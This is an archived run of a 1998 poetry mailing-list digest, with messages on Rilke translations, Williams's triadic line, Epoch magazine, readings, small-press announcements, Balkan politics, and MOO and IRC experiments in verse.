Fri 25 Sep 1998

Excellent article cum interview in this week's LIBERATION book supplement on a Cixous / Derrida collaboration. go to:
http://www.liberation.fr/livres/980923derrida.html

P
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Mal tu par l'encre même
    -- Stéphane Mallarmé
==========

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572. **Mark Prejsnar**
mahound of the baskervilles
Fri 25 Sep 1998

In the news story PJ posted, Rushdie is identified as "the year-old Indian-born British author."

Boy what a *precocious* writer!

↑ Index

573. **Karen Kelley**
Re: Cixous/Derrida
Fri 25 Sep 1998

Where's the Stephen Mitchell version en Anglais?

Pierre Joris wrote:

> *Excellent article cum interview in this week's LIBERATION book supplement on a Cixous / Derrida collaboration. go to:*
> *http://www.liberation.fr/livres/980923derrida.html*
>
> *P*
> *==========*
> *Pierre Joris*
> [redacted]
> *http://www.albany.edu/~joris/*
> *6 Madison Place*
> *Albany NY 12202*
> *tel:* [redacted]
> *fax:* [redacted]
> *==========*
> *Mal tu par l'encre même*
> *-- Stéphane Mallarmé*
> *==========*

↑ Index

574. **Andrew Rathmann**
Re: Mitchell, Rilke etc.
Fri 25 Sep 1998

Dear list members:

I don't believe that Mitchell's translation is as artless as some of you seem to imply. When one compares his version of the final stanza of "Herbsttag," for example, with all the others that have been quoted, Mitchell's seems to me to be obviously superior. Like MacIntyre, he tries to approximate Rilke's rhyme

scheme; but Mitchell is more faithful to Rilke in that he avoids the temptation of a final rhyming couplet. Mitchell's near-rhymes (somewhat like Pinsky's in his _Inferno_ translation) strike me as a graceful reconciliation with the original: they permit a plain style (like Rilke's, in this poem) that nonetheless retains a sonic pattern. And a plain style seems far preferable to the supposedly more "accurate" version of Herter Norton. "Build him one no more"? "Long will so remain"? Aren't _these_ constructions, vaguely archaic and portentous, much closer to the language of conventional spirituality? The "real strange thing" about Rilke seems to me less a matter of his diction (Augenaepfel aside) than of how his mind and imagination work. Hass's essay in the Mitchell edition gets at this strangeness.

So what exactly is the complaint against Mitchell? That his books are popular? That he is interested in poetry not as a cultural artifact, but as a religious discourse? These would seem to be within his rights as an author.

Andrew Rathmann,
Chicago

Rilke:

Wer jetzt kein haus hat, baut sich keines mehr.
Wer jetzt allein ist, wird es lange bleiben,
wird wachen, lesen, lange Briefe schreiben
und wird in den Allen hin und her
unruhig wandern, wenn die Blätter treiben.

Mitchell:

Whoever has no house now, will never have one.
Whoever is alone will stay alone,
will sit, read, write long letters through the evening,
and wander on the boulevards, up and down,
restlessly, while the dry leaves are blowing.

Herter Norton:

Who has no house now, will build him one no more.
Who is alone now, long will so remain,
will wake, read, write long letters
and will in the avenues to and fro
restlessly wander, when the leaves are blowing.

MacIntyre:

Who has no house now will not build him one.
Who is alone now will be long alone,
will waken, read, and write long letters

and through the barren pathways up and down
restlessly wander when dead leaves are blown.

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

↑ Index

575. **tracy s. ruggles**
Re: Mitchell, Rilke etc.
Fri 25 Sep 1998

On fri/25.sep.98 at 8.15am, Andrew Rathmann wrote:
>
  [...]
>
>Rilke:
>
>Wer jetzt kein haus hat, baut sich keines mehr.
>Wer jetzt allein ist, wird es lange bleiben,
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>Who is alone now will be long alone,
>will waken, read, and write long letters
>and through the barren pathways up and down
>restlessly wander when dead leaves are blown.
>

Ruggles:

We were jesting kind roofs, fighting my sick knees. We were just alone as it is, as weird as the language of blabbers, weird and wacky, a lesson: language is the underpants of a writer and a word in the heart of All of them was hidden under her under the rug of wandering, when my bladder died trying.

--trace--

↑ Index

576. **Safdie Joseph**
Re: the third space
Fri 25 Sep 1998

> *Eliza : you mean CHEERS isn't really in Boston? David*

Well, since the red Sox clinched the wild card berth today, there are
cheers in Fenway.

I was wondering if I dared broach the subject of this last weekend of the season on this list, and I thank George for letting it in through the back dugout, so to speak. Poetics fans in New York, Chicago and San Francisco (arguably the three most important cities in North American poetry) are urged to comment -- poetically, of course -- on the respective merits of their teams. Chicago is my kind of town, even though I did literally leave my heart in San Francisco. (I always thought the third space WAS the baseball diamond . . .)

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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577. **R. Gancie/C.Parcelli**
ultimatum
Fri 25 Sep 1998

Thanks, David, for the Reuters wire. I would like to point out that Secretary of Defense William S. Cohen has published two books of poetry with Morrow. Cohen, a New Georgian poet just like his pals at the The Academy of American Poets, in his quote captures the "virtual" (read delusional) spirit of the Academy's ultimatum. Meanwhile, I've been reading Diana Johnstone's background piece on Yugoslavia in the new Covert Action Quarterly. Its basicly a rehash but she makes some interesting observations about liberal NGOs in the region. I guess the Academy is a kind of faux NGO because even their ultimatum is not likely to garner any IMF, corporate or state money. The Reuters wire points out that only Germany so far has supported the Academy's ultimatum. Perhaps, that's because Germany leapt in prematurely to recognize Croat and Slovenian independence and to declare the Serbs the new Nazi's as though it were a curse that could be pass on to another people. In point of fact it was the Croat Ustashe that aligned with the Nazis during the Second World war and the Nazis, themselves, were said to be horrified by the Croats brutality against the Serbs, Gypsies and others. Even the German foreign minister at the time objected to the move to support Croat and Slovenian independence. But it was seen as tantamount to the economic annexation of two of the more potentially wealthy regions in the former Yugoslavia. Such secession was illegal under Yugoslav and international law but the Germans legitimized the move, held off international opinion against it and helped precipitate the atrocities commited on all sides. Cohen in a poem called Deng's Revolution to his great hero, the late Chinese Premier Deng Shiao Ping, writes:

Let your vision
for propsperity
whisper to the world
without violence and low,
like the wind
in the wheat fields.

Of course, Deng said "To grow rich is glorious" so he's alright in Cohen's book. What's a little slaughter when the blood runs green. Besdies against the tide of all history, Cohen, 'wished' the transition proceed 'without violence'. That's certainly a trait of the New Georgians--delusional wishing.No wonder in between bombing pharmaceutical plants, Cohen chooses to write poems in the style of the New Georgians. What is the Academy going to do; write ten poems for every Croat Milosevic slaughters. Such levity in the face of such horror only serves to demonstrate the impotence of the Academy as emphasized by their fellow Neo-Georgian, Bill Cohen.---Carlo Parcelli

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578. **aerialedge**
Upcoming Bridge Street Readings
Fri 25 Sep 1998

Sunday Sept 27th

Pierre Joris & Jerome Rothenberg
Poems for the Milennium publication celebration

Sunday October 18th

Jena Osman & Joan Retallack
Retallack's _How to Do Things With Words_ is just out

Sunday November 1st

Bill Luoma & Fred Wah
workin' those _Works & Days_

all readings at 8 PM

Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC

ph [redacted]

↑ Index

579. **Joe Amato/Kass Fleisher**
fyi...
Fri 25 Sep 1998

---

thought some of you might be interested in a piece i just stumbled across in FEED:

"hard times in poetry land," by alissa quart
http://www.feedmag.com/deepread/dr101_master.html

also a piece by howard rheingold on that web=depression research...

best,

joe

↑ Index

580. **Ryan Whyte**
APORIAs
Fri 25 Sep 1998

Please Note

APORIA has a new address:

P.O. Box 124
Station C
Toronto, Ontario
Canada
M6J 3M7

[redacted]

APORIA #2, the 'time' issue, is due out in December. The deadline for submissions is October 31, 1998. Space is tight; please contact me before submitting. I am looking for critical and experimental prose.

APORIA #3 is on the idea of the avant-garde. What constitutes it, 'today'? What explains the persistence of the notion? What of the histories, the ahistoricities, the anachronisms and the _perfect timings_? And what are the secret histories? And is an avant-garde still possible? Desirable? And what avant-garde, avant-propos of what; whose battle and for what territory? Deadline January 1, 1999.

Finally, thanks to the list and to all who have sent work and/or subscribed.

Ryan Whyte

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581. **Mark Weiss**
Re: Cixous/Derrida
Fri 25 Sep 1998

Thanks for the tip. A very good piece, a good bit of which is scarcely translatable, dependent as it is on puns and homynyms peculiar to French.

Wonderful to comtemplate what kind of intellectual forum a popular newspaper can be in a country that insists on educating its citizens. On the other hand the French do PhyEd very badly (but somehow, dspite their pollution, alcohol and nicotine, manage to outlive us).

At 09:24 AM 9/25/98 -0400, you wrote:
>Excellent article cum interview in this week's LIBERATION book supplement on
>a Cixous / Derrida collaboration. go to:
>http://www.liberation.fr/livres/980923derrida.html

>
>P
>==========
>Pierre Joris
>[redacted]
>http://www.albany.edu/~joris/
>6 Madison Place
>Albany NY 12202
>tel: [redacted]
>fax: [redacted]
>==========
>Mal tu par l'encre même
> -- Stéphane Mallarmé
>==========
>
>

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582. Gabriel Gudding
Epoch Mag Needs Help
Fri 25 Sep 1998

---

1). _Epoch_ magazine at Cornell University published no poetry in its last issue.

2). I have looked at _Epoch_'s slushpile and can report the mag gets few poetry submissions.

3). This must change. This is therefore a call for help.

4). You're thinking, "Epoch is a venue I'm not interested in."

5). Nonsense. The magazine has been known to publish genuinely non-gooey ink, even avant-garde things.

5). What I'm saying is there is, like, a poetry paucity at this magazine.

6). This is a bad thing.

7). I am asking that you send work to Epoch care of Burlin Barr, Poetry Editor, 251 Goldwin Smith, Cornell University, Ithaca NY 14853.

8). Submitting here will not hurt you. You have nothing to lose. You're good people. Epoch's good people. Give it a try, Buck. Epoch reports back with ok alacrity.

9). Do I need to repeat myself?

10). OK so I need to repeat myself. Send work for christsake. a). What do you care anyway: whoever ASKS for poetry? I'm asking.

11). If you're proud, you're poor.

Gabriel Gudding

↑ Index

583. **Mark Weiss**
Reading
Fri 25 Sep 1998

A reminder to those in the San Diego Area:

Chris Reiner and I are reading on Sunday at the Faultline Theater, on the west side of 5th just south of Spruce.

↑ Index

584. **Hugh Steinberg**
Re: Epoch Mag Needs Help
Fri 25 Sep 1998

I'll second this. Barr is a good editor and Epoch is a good magazine open to interesting work (heck, they published me twice).

Hugh Steinberg

> *1). _Epoch_ magazine at Cornell University published no poetry in its last issue.*
>
> *2). I have looked at _Epoch_'s slushpile and can report the mag gets few poetry submissions.*
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> *10). OK so I need to repeat myself. Send work for christsake.*
> *a). What do you care anyway: whoever ASKS for poetry? I'm asking.*
>
> *11). If you're proud, you're poor.*
>
> *Gabriel Gudding*

↑ Index

585. **A. Jenn Sondheim**

Hokusai's Visit to Kyoto, 1828

Fri 25 Sep 1998

-

Hokusai's Visit to Kyoto, 1828 (Bunsei 11)

Hokusai kicks higher into the air than safety would allow!
Hokusai heartily moves upward and downward on the same spot and fast!
Hokusai runs aimlessly around the MOO, Coyote on the loose!
I don't understand that.
Hokusai cries, half in sadness and mourning, half in pure exhaustion.
Hokusai laughs infectiously and everyone desires to join in!
I don't understand that.
Hokusai kisses everyone, remembering safe sex, and the kindness of
strangers!
Hokusai walks around Kyoto looking at everyone through his eyes.
Kyoto
an intense clearing, city-basin, distant humans, everywhere visible...
You see snow, Luminous Sign, and the City of Wind here.
Player name Connected Idle time Location
--- --- --- ---
Hokusai (#127) a minute 0 seconds Kyoto

Total: 1 player, who has been active recently.
I don't understand that.
Flap flap flap flap flap flap! while Hokusai flies away!
_____hokusai_____05:28
fall
fly

↑ Index

586. **David Baratier**
Re: ultimatum
Fri 25 Sep 1998

Carlo--

Thanks for picking up on that. The books you refer to are _Of sons and Seasons_ and _A Baker's Nickel_ which are rated 372,252 and 638,074 at amazon (just so Ron knows). But the best is the one was written with ex pres canidate, this is a review from it:

The Double Man : A Novel
William S. Cohen, Gary Hart

Amazon.com Sales Rank: 492,724
Avg. Customer Review: ; Number of Reviews: 1
Robert Peltzman ([redacted]) from Los Angeles, CA ,
January 21, 1998

Complete waste of time. Totally unfulfilling.
Absolutely no sense of completion. My only guess is that everything will be resolved
in a future book (though I wouldn't read it).

The book was written well but that only leads to the expectation that there will be some substance to the plot. The reader never finds out: 1. Who the double man is (if there is one). 2. What really happens to Elaine. 3. Who her father really is, etc. The protagonist (investigator) never finds out anything himself but is told everything by secret "deep-throat" types. The ending is wrapped up in a few pages by someone who seems to be in a hurry to get back to the Senate floor for roll-call.

In exchange for learning about some inside workings of the senate, we are forced to
except a far fetched plot that magically ties up the JFK asassination, drug smuggling,
the Mafia, and secret KGB plots.

I got this paperback at a book sale and I don't think it was worth the 50 cents that it cost. --This text refers to an out of print or unavailable edition of this title.

Be well

David Baratier

↑ Index

587. **michael corbin**
Re: ultimatum
Sat 26 Sep 1998

R. Gancie/C.Parcelli wrote:

> *I would like to point out that*
> *Secretary of Defense William S. Cohen has published two books of poetry*
> *with Morrow.*

Michael Moore was recently at Department of Defense with camera crew following Cohen around 'roger and me' style, inquiring about his poetry.

mc

↑ Index

588. **Garrett Kalleberg**
Trakl, Rilke
Sat 26 Sep 1998

Would the person who put out the MS Herbsttag v 1.0 please backchannel me at the address below (I lost the postting).

Also, anyone doing translations of Rilke, Hoelderlin, Trakl, or Sabine Techel, Barbara Koehler, Brigitte Oleschinski, or other contemporary Germans, please contact me.

Thanks,

Garrett

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

589. **Mark W Scroggins**
Re: Epoch Mag Needs Help
Sat 26 Sep 1998

As a former _Epoch_ editor-type (back in CS Giscombe's days), I can vouch for the magazine's "quality." And knowing Burl Barr, I can vouch for his seriousness & goodness. But let's face it--the magazine has taken a strong turn towards the fiction side of things in the last few years; are you intimating,

Gabriel, that one wouldn't be wasting one's postage, paper, and printer cartridge to send disjunctive / alyrical / "experimental" work _Epoch_'s way? (If so, more power to yez.) Mark Scroggins

On Fri, 25 Sep 1998, Gabriel Gudding wrote:

> *1). _Epoch_ magazine at Cornell University published no poetry in its last issue.*
>
> *2). I have looked at _Epoch_'s slushpile and can report the mag gets few poetry submissions.*
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> *9). Do I need to repeat myself?*
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> *10). OK so I need to repeat myself. Send work for christsake.*
> *a). What do you care anyway: whoever ASKS for poetry? I'm asking.*
>
> *11). If you're proud, you're poor.*
>
> *Gabriel Gudding*

↑ Index

590. **Lawrence Upton.**
Re: ultimatum
Sat 26 Sep 1998

How good... no... what a relief to see someone point out that there is another point of view... was watching tv a while back, a thing I rarely do so I don't know how frequent it is, and someone talking about Bosnia began to criticise the Croat side relative to the Serbs; and the chair immediately cut in and said "Well, we don't want to go into the details"

I'm still hoping to hear a NATO warning for China to get out of Tibet. Of course, the Chinese might shoot back.

What's this got to do with poetry? Well, I'd rather hear more critical news and fewer war poems by people who have not been to the countries involved

L

-----Original Message-----
From: R. Gancie/C.Parcelli <[redacted]>
Date: 25 September 1998 18:02
Subject: ultimatum

|In point of fact it was the Croat Ustashe that |aligned with the Nazis during the Second World war and the Nazis, |themselves, were said to be horrified by the Croats brutality against |the Serbs, Gypsies and others... |Even the German foreign minister at the time objected to the move to |support Croat and Slovenian independence. But it was seen as tantamount |to the economic annexation of two of the more potentially wealthy |regions in the former Yugoslavia. Such secession was illegal under |Yugoslav and international law but the Germans legitimized the move, |held off international opinion against it and helped precipitate the |atrocities commited on all sides.

↑ Index

591. **Ron Silliman**
More on Epoch
Sat 26 Sep 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

Let me third the value of Epoch magazine. It has a long, noble history. = Epoch was the first place ever to publish Lyn Hejinian (1964?) and the = students at Cornell in the early 70s extended the work of the mag into = the creation of the late lamented Ithaca House Press, which published = the first books of Bob

Perelman, David Melnick and yours truly, plus the = second book of Ray Di-
Palma's. There's more to Ithaca than "gorging out,"

Ron Silliman

charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Let me third the value of Epoch =
magazine. It has=20
a long, noble history. Epoch was the first place ever to publish Lyn =
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mag into the creation of the late lamented Ithaca House Press, which =
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book of Ray DiPalma's. There's more to Ithaca than "gorging=20
out,"</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2>Ron =
Silliman</FONT></DIV></BODY></HTML>

↑ Index

592. MAXINE CHERNOFF

Re: More on Epoch

Sat 26 Sep 1998

Ithaca House (under John Latta at that point) did my book in 1985, NEW FACES OF 1952, for which I am grateful.

And judging from the excellent writers we publish in New American Writing and the numerous excellent writers we have to turn away (doing an annual mag), there are plenty of people out there for Epoch.

MAxine Chernoff

On Sat, 26 Sep 1998, Ron Silliman wrote:

> *Let me third the value of Epoch magazine. It has a long, noble history. Epoch was the first place ever to publish Lyn Hejinian (1964?) and the students at Cornell in the early 70s extended the work of the mag into the creation of the late lamented Ithaca House Press, which published the first books of Bob Perelman, David Melnick and yours truly, plus the second book of Ray DiPalma's. There's more to Ithaca than "gorging out,"*
>
> *Ron Silliman*

↑ Index

593. Gabriel Gudding
Re: Epoch Mag Needs Help
Sat 26 Sep 1998

On Sat, 26 Sep 1998, Mark W Scroggins wrote:

> *seriousness & goodness. But let's face it--the magazine has taken a strong turn towards the fiction side of things in the last few years; are you intimating, Gabriel, that one wouldn't be wasting one's postage, paper, and printer cartridge to send disjunctive / alyrical / "experimental" work _Epoch_'s way? (If so, more power to yez.)*

Heck no, Mark -- not intimating that at all at all. Only that you're right to think that the magazine favors the lyrical -- BUT it doesn't exclusively favor it. Burl is totally open to non-lyrical work, to unrecognizable work: he's a good patient solid thoughtful reader. He knows that just as one writer can be capable of the traditional lyric as well as new lyrical or alyrical work, so also can one typical Epoch reader want to read both, either, or something completely different.

Yes, Epoch just turned in a big-way toward fiction: but this is a turn less of editorial policy, I think, than of reputation's vicissitudes (i.e., Epoch just won the O'Henry Awards and was voted best mag of the year, beating out even The New Yorker -- or something like this), and I'm reporting to you that because of this new rep, we're getting fewer poetry submissions, and I'm basically GIVING EVERYONE A TIP: opportunities, opportunities, opportunities...

Please send.

G. Gudding

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594. Alaric Sumner
FOR UK (South East) LISTERS: a reminder
Sat 26 Sep 1998

Saturday 3 October 8.30pm
BAC
Lavender Hill
Battersea
(Clapham Junction BR)
0[redacted]

The Unspeakable Rooms
Text: Alaric Sumner. Devised and performed: Rory McDermott.

"Dense, enigmatic, poetic, tightly structured..., The Unspeakable Rooms employed language and the ghosts and shadows of language, the human body and its projected double, the human voice and its recorded echo, in order to explore their limitations, language's 'tumbled towers' and the body's 'unspeakable ruins'. " Frank Green, Cleveland Free Times, Ohio

Arts Council Combined Arts Funded
part of British Festival of Visual Theatre

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595. Gabriel Gudding
Re: Epoch Mag Needs Help
Sat 26 Sep 1998

---

a.) Mark et alii: I apologize for misreading yr negative (see below) for a positive.

b.) There was a speck of desk-meringue stuck to my screen, occluding your "n't."

c.) You wouldn't be wasting your postage, paper, printer, or time.

d.) Please send.

> *On Sat, 26 Sep 1998, Mark W Scroggins & Gabe Gudding wrote:*
>
> *strong turn towards the fiction side of things in the last few years; are you intimating, Gabriel, that one wouldn't be wasting one's postage, paper, and printer cartridge to send disjunctive / alyrical / "experimental" work _Epoch_'s way?*
>
> *Heck no, Mark -- not intimating that at all at all.*

↑ Index

596. **Mark DuCharme**

Re: WCW's line

Sat 26 Sep 1998

Chris Stroffolino wrote

> I was not
> knocking it
> I was not
> putting it down
> WCW
> was alright
> but the duino elegies
> in such
> a mode
> are thick and ordinary
>
>
>On Thu, 24 Sep 1998, MAYHEW wrote:
>
>> The three step line
>> is not an "avant-garde" technique
>> but an attempt to regularize
>> "free verse"
>> make it almost
>> routine so that
>> it might be used for longer
>> more discursive poems
>> such as "Of Asphodel, that greeny flower
>> I come, my sweet,
>> to sing to you."
>> which I have read with pleasure
>> repeatedly
>> over the past twenty years
>> or more
>>
>> Of course, I am not getting the right cadence here. Wittgenstein said
>> that understanding a musical phrase is analogous to understanding a
>> sentence, "more than one might think." I love these flashes of intuition,
>> as when he speaks of someone buying several copies of the morning paper to

>> make sure that what is printed there is true. Wittgenstein loved
Rilke's
>> poetry and even lent him money once, I believe.
>>
>> Jonathan Mayhew
>>
>

Then again
I'm
Not sure as I always
Agree
W/ WCW's claims
for his work, as against
The work itself.
(C.f. an essay by Perloff
Which
Brilliantly
Makes this case, regarding something W.
C.W. said of
His poem about the broken
Glass
Outside the hospital.
(The essay is in _William
Carlos Williams: Man & Poet_)).
So,
It seems to me
While the 3-step line _was_ an attempt
To regularize
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As Jonathan points out
To great effect in "Asphodel"),
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Is also to materialize the poetic line,
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Association of this w/
The "avant-garde"
Is not all wrong.

==Mark DuCharme

Get Your Private, Free Email at http://www.hotmail.com

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597. **Peter Ganick**

A.BACUS 1999 season

Sat 26 Sep 1998

Potes & Poets Press announces the 15th year of
A.BACUS issues with new writings by the following:

#119 Jan 1 Buck Downs
#120 Feb 15 Norma Cole
#121 Apr 1 Kevin Magee
#122 May 15 Cheryl Burket
#123 Jul 1 Lisa Adriani
#124 Aug 15 John Noto
#125 Oct 1 Barbara Hocker
#126 Nov 15 John Lowther

A.BACUS is a 16 to 26 page newsletter sent in an
envelope first class postage to your address. It
is printed on 25% cotton paper and features innovative
work by many types of writers.

UNTIL NOVEMBER 15TH, the subscription rate is $26.
After that, it goes to $30. Canada and overseas,
always $30US.

Thanks...

Peter Ganick

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598. **Roger Farr**

Re: WCW's line

Sat 26 Sep 1998

Try this as an experiment: "sew" a triadic line poem back together and scan. I did this some time ago, and discovered that many lines turned out to be iambic pentameter. Apologies, Bill.

Roger

> *Chris Stroffolino wrote*

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> *was alright*
> *but the duino elegies*
> *in such*
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> *are thick and ordinary*
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>
> *The three step line*
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> *but an attempt to regularize*
> *"free verse"*
> *make it almost*
> *routine so that*
> *it might be used for longer*
> *more discursive poems*
> *such as "Of Asphodel, that greeny flower*
> *I come, my sweet,*
> *to sing to you."*
> *which I have read with pleasure*
> *repeatedly*
> *over the past twenty years*
> *or more*
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> *Of course, I am not getting the right cadence here. Wittgenstein said*
> *that understanding a musical phrase is analogous to understanding a*
> *sentence, "more than one might think." I love these flashes of intuition,*
> *as when he speaks of someone buying several copies of the morning paper to*
> *make sure that what is printed there is true. Wittgenstein loved Rilke's*
> *poetry and even lent him money once, I believe.*
>
> *Jonathan Mayhew*
>
> *Then again*
> *I'm*
> *Not sure as I always*

Agree
W/ WCW's claims
for his work, as against
The work itself.
(C.f. an essay by Perloff
Which
Brilliantly
Makes this case, regarding something W.
C.W. said of
His poem about the broken
Glass
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(The essay is in _William
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So,
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It's effect,
Like the short line generally

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Association of this w/
The "avant-garde"
Is not all wrong.

==Mark DuCharme

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599. **John Tranter**
Amnesty International
Sat 26 Sep 1998

To celebrate the 50th Anniversary of the Universal Declaration of Human Rights, Amnesty International is collecting signatures for a pledge to support

this very important United Nations declaration. Amnesty already has 3 million signatures (real and virtual) world wide, and wants 8 million (which would be 1% of the world's population). The UN Secretary General has already agreed to be present either in person or live by satellite, if he has to be in New York, to receive the pledge as a tangible statement of the people of the world's commitment to an international agenda of human rights

The most simple way to add your name to the pledge is to:

Send an e-mail to: <[redacted]>

Put YOUR NAME in the SUBJECT and the following text in the message: "I support the rights and freedoms in the Universal Declaration of Human Rights for all people, everywhere."

Please forward this message to as many people as you can.

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia tel ([redacted] fax ([redacted] Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

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600. **Tom Beard**

Re: Mitchell, Rilke etc.

Sat 26 Sep 1998

For those who believe that Mitchell is really a machine, here's a real machine translation (courtesy of "http://babelfish.altavista.digital.com/cgi-bin/translate?") of Herbsttag:

Autumn day

Gentleman: it is time of the summers was very large. Put your shadows on the sonnenuhren, and suf the corridors release the hoist.

Instruct the last fruits to be full; gieb for them still two more southern days, urge it to the completion and hunt the last sweet one into the heavy wine.

Who has now no house, no more builds itself. **time-out** who now alone be, will it for a long time remain, will be awake, read, long letter write and will in the all back and forth jerky move, if the page drive. ----------

I love the "Gentleman:" bit, but where the hell did that "**time-out**" come from?

> *"Build him one no more"? "Long will so remain"?*
> *Aren't _these_ constructions, vaguely archaic and portentous, much closer*

> *to the language of conventional spirituality? The "real strange thing" about Rilke seems to me less a matter of his diction (Augenaepfel aside) than of how his mind and imagination work.*

I think the "real strange thing" that those constructions present, for me at least, is the impression of reading a foreign language. We have the luxury with English of being able to translate into a very flexible syntax, so that it's possible to produce something closer to the original word order while still being parseable. "Long will so remain" _sounds_ like the kind of contorted syntax that Anglophones recognise as being distinctly German.

Perhaps the worst way to translate a poem (as a poem) is to make it sound like comfortable, conversational English.

Tom Beard.

↑ Index

601. **Mark Weiss**
Re: WCW's line
Sat 26 Sep 1998

And many more that didn't. This rather misses the point. WCW was not obsessed with avoiding the iamb at all costs, he was inventing a different kind of metrics and a different way of conceiving same. The lineation is never for the sake of a predesigned formula. Try reading each part of the triad as a metric unit. So, in "The Ivy Crown" (I opened at random) there are only two triads that could be scanned as iambic. The first reads but being mortal can defy
our fate. We may

This is not iambic hexameter. This is three variable feet. The swing is completely different

At 04:56 PM 9/26/98 -0700, you wrote:
>Try this as an experiment: "sew" a triadic line poem back together and
>scan. I did this some time ago, and discovered that many lines turned out
>to be iambic pentameter. Apologies, Bill.
>
>Roger
>
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>> >> such as "Of Asphodel, that greeny flower
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>> The work itself.
>> (C.f. an essay by Perloff
>> Which
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>>
>> ==Mark DuCharme
>>
>>
>>
>> _____
>> Get Your Private, Free Email at http://www.hotmail.com
>>

>
>

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602. **shemurph**
John Tritica's new book
Sat 26 Sep 1998

Highly recommended and just released:

John Tritica: HOW RAIN RECORDS ITS ALPHABET

La Alameda Press
9636 Guadalupe Trail NW
Albuquerque, NM 87114
105 pp.
$12.00

Not to be missed!

Sheila Murphy

↑ Index

603. **r. drake**
new Onyx (fwd)
Sat 26 Sep 1998

> *Date: Thu, 24 Sep 1998 11:22:46 -0700*
> *From: Bill Crandall <[redacted]>*
> *Subject: Onyx Online Literary Review*
>
> *Hello -*
>
> *Another issue of Onyx is online, including pieces by Fanny Howe and Aaron Shurin, and experiments in hypermedia and in hypertext by Joe Byron and William Crandall. It's at:*
>
> *http://www.chapman.edu/comm/english/onyx/index.html*
>
> *We will produce another issue in December. We will be accepting submissions til about 11/15. We are ready to consider all types of writing, especially hypertext, prose poems, verse and short-short fiction.*
>
> *Submit to [redacted] by email or*
>
> *ONYX*

> *English Department*
> *Chapman University*
> *333 North Glassell*
> *Orange, California*

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604. **Gwyn McVay**
Babelfish translation
Sat 26 Sep 1998

Tom, the mysterious "time-out" is an amazing serendipitous find; I used the same webpage to translate "Me and Bobby McGee" into and out of several languages in a row, and after one of the Romance languages, "bobby" lost its proper-noun status and became "police officer McGee." Kind of a twist in the plot.

Gwyn

↑ Index

605. **Dean Taciuch**
Re: WCW's line
Sat 26 Sep 1998

> *And many more that didn't. This rather misses the point. WCW was not obsessed with avoiding the iamb at all costs, he was inventing a different kind of metrics and a different way of conceiving same. The lineation is never for the sake of a predesigned formula. Try reading each part of the triad as a metric unit. So, in "The Ivy Crown" (I opened at random) there are only two triads that could be scanned as iambic. The first reads*
> *but being mortal*
> *can defy our fate.*
> *We may*
>
> *This is not iambic hexameter. This is three variable feet. The swing is completely different*
>
> *At 04:56 PM 9/26/98 -0700, you wrote:*
> *Try this as an experiment: "sew" a triadic line poem back together and scan. I did this some time ago, and discovered that many lines turned out to be iambic pentameter. Apologies, Bill.*

Not much to add to this discussion, except to note that the iamb occurs quite naturally in English language speech--that's _why_ it was so popular in the first place. Listen, and you'll hear iambs in the evening news. Not pentameter, of

course, but certainly rhythmic. Finding that a triadic line contains iambics is not much more surprising.

--Dean

↑ Index

606. **Maryrose Larkin**
Re: Babelfish translation
Sat 26 Sep 1998

I too love the Babelfish translation programs....in fact I have been using them to make poems lately.....that is I translate and retranslate sentences, fragments, paragraphs....then edit and retranslate.

My current favorite is how confusing the program finds pronouns.

I think that the program bases the gender of the pronoun based on the gender of the noun following it. so she plays her piano becomes it games it plan.

Anyway, it is my new favorite way to undermine my "voice"

Maryrose Larkin

↑ Index

607. **R M Daley**
Re: your mail
Sat 26 Sep 1998

On Sun, 27 Sep 1998, Todd Baron /*/ ReMap wrote:

> *Here's a question. Does anyone on this list have experience teaching*
> *a) middle school engish*
> *b) outside of the US.*
>
> *I'm sic of livin' here and want to teach--perhaps--in Great Britain. If there's experience out there I'd like to hear from you. Please backchannel*

no no pleazzz frontchannel - other interested parties involved thx, rd

> *(*[redacted]*)*
>
> *thanks all*

↑ Index

608. **A. Jenn Sondheim**
Re: your mail
Sat 26 Sep 1998

I want to teach anywhere but Great Britain! If there's an opening out there, I'd like to hear from you. Please backchannel!

Alan

On Sun, 27 Sep 1998, Todd Baron /*/ ReMap wrote:

> *Here's a question. Does anyone on this list have experience teaching*
> *a) middle school engish*
> *b) outside of the US.*
>
> *I'm sic of livin' here and want to teach--perhaps--in Great Britain. If there's experience out there I'd like to hear from you. Please backchannel*
>
> *(*[redacted]*)*
>
> *thanks all*

↑ Index

609. **Katherine Lederer**
Re: Chapbook/selling/reading
Sat 26 Sep 1998

Hi Peter,

Thanks for re-sending those books--I've already managed to give about 30 of them away!

Let me please reiterate my gratitude--it's been so nice to have a little book to give to people. Strange, though, to give it to my dad (I don't dare give one to my mother).

In any case, I have this reading coming up on October 12th and want to be sure to have enough books there for anyone who may want one. Maybe could you send me 10 or so to sell? I could sell them at my reading and also put some on consignment at the good bookstore here (St. Mark's), and also sell some at Jordan Davis's reading series, where he lets people sell books etc. In other words, maybe send me 15 on consignment? I'll sell them and give you the money as it comes in? I, of course, will prepare covers here, so you'd have to send just books sans dust-jackets. Would this be okay?

Hope the rest of the series is going well. I just finally really got a real job copy-editing Avon catalogs--strange but pays well. Am for sure planning on purchasing entire series in a month or so. Thanks for doing this--will send Explosive #6 and Juliana's chapbook soon.

Best,
Katy

↑ Index

610. A. Jenn Sondheim
variations out of desire to meet new friends
Sun 27 Sep 1998

-

Nikuko "has a funny way" of trying to make friends! (says Nikuko!)

IRC log started Sat Sep 26 23:26
*** Value of LOG set to ON
^***^ Nikuko ([redacted]) has joined channel #talk
*** Users on #talk: @Nikuko
